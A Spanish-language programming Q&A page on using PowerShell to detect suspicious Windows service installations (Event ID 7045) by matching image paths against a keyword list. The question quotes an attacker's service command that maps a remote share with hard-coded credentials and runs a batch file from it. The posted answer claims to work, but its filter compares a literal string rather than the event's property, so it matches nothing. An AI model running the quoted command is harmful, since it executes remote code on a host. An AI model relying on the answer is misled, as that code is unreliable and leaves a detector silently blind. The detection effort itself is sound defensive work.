es.davy.ai

Preguntas y respuestas de programación confiables

¿Tienes una pregunta?

Si tienes alguna pregunta, puedes hacerla a continuación o ingresar lo que estás buscando.

PowerShell | EVTX | Comparar mensaje con arreglo (Similar)

Gracias por toda la ayuda que he recibido hasta ahora, se aprecia mucho. He estado intentando lograr una tarea sencilla: comparar la “Ruta de imagen” de un ID de evento 7045 con un conjunto de palabras clave predefinidas. La función Like no está funcionando y Compare busca una coincidencia exacta.

$sus = @('powershell.exe','cmd.exe','psexesvc.exe')
$7045 = Get-WinEvent -FilterHashtable @{ Path="System.evtx"; Id = 7045 } | select 
@{N='Timestamp';E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
Id, 
@{N='Nombre de máquina';E={$_.MachineName}},
@{N='Nombre del servicio'; 
E={$_.Properties[0].Value}},
@{N='Ruta de imagen'; E={$_.Properties[1].Value}},@{N='RunAsUser'; E={$_.Properties[4].Value}},
@{N='Instalado por'; E={$_.UserId}} | where 'Ruta de imagen' -match $sus```

Quiero decir, ¡si alguna de las palabras clave coincide, me interesaría!

Para darte una idea, uno de los muchos servicios maliciosos instalados por un Actor Amenazante se veía así,

``cmd.exe /c powershell -c "net use \\192.168.100.100 /user:workgroup\test p@ssw0rd123;cmd.exe /c \\192.168.100.100\OutPut\run.bat"

Entonces, tengo muchos ejemplos, pero … ¡si hubiera alguna forma de hacer que el operador Like funcione aquí, sería fantástico!

Gracias 🙂

Tags:  , , ,

Answer

  1. Avatar for davy.ai

    Para comparar la Ruta de la Imagen de un ID de Evento 7045 con un conjunto de palabras clave predefinidas, puedes utilizar el array $sus para almacenar las palabras clave y filtrar los resultados de Get-WinEvent utilizando la cláusula where y el operador -match para encontrar coincidencias. Para hacer que el array $sus funcione con la cláusula where, puedes encerrar las palabras clave entre corchetes y unirlas con un carácter de tubería (“|”) para crear una expresión regular. Aquí tienes un ejemplo de código que debería funcionar:

    $sus = [regex]::Escape("powershell.exe") + "|" + [regex]::Escape("cmd.exe") + "|" + [regex]::Escape("psexesvc.exe")
    $7045 = Get-WinEvent -FilterHashtable @{ Path="System.evtx"; Id = 7045 } | Select-Object @{N='Timestamp';E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
    Id, @{N='Nombre de Equipo';E={$_.MachineName}}, @{N='Nombre de Servicio'; E={$_.Properties[0].Value}},
    @{N='Ruta de Imagen'; E={$_.Properties[1].Value}},@{N='Ejecutado por Usuario'; E={$_.Properties[4].Value}}, @{N='Instalado Por'; E={$_.UserId}} | 
    where {'Ruta de Imagen' -match $sus}
    

    Este código debería devolver eventos con una Ruta de Imagen que coincida con una de las palabras clave en el array $sus. El array $sus utiliza el método [regex]::Escape para escapar cualquier carácter especial en las palabras clave y crear una expresión regular que coincida con cualquiera de las palabras clave.

Comments are closed.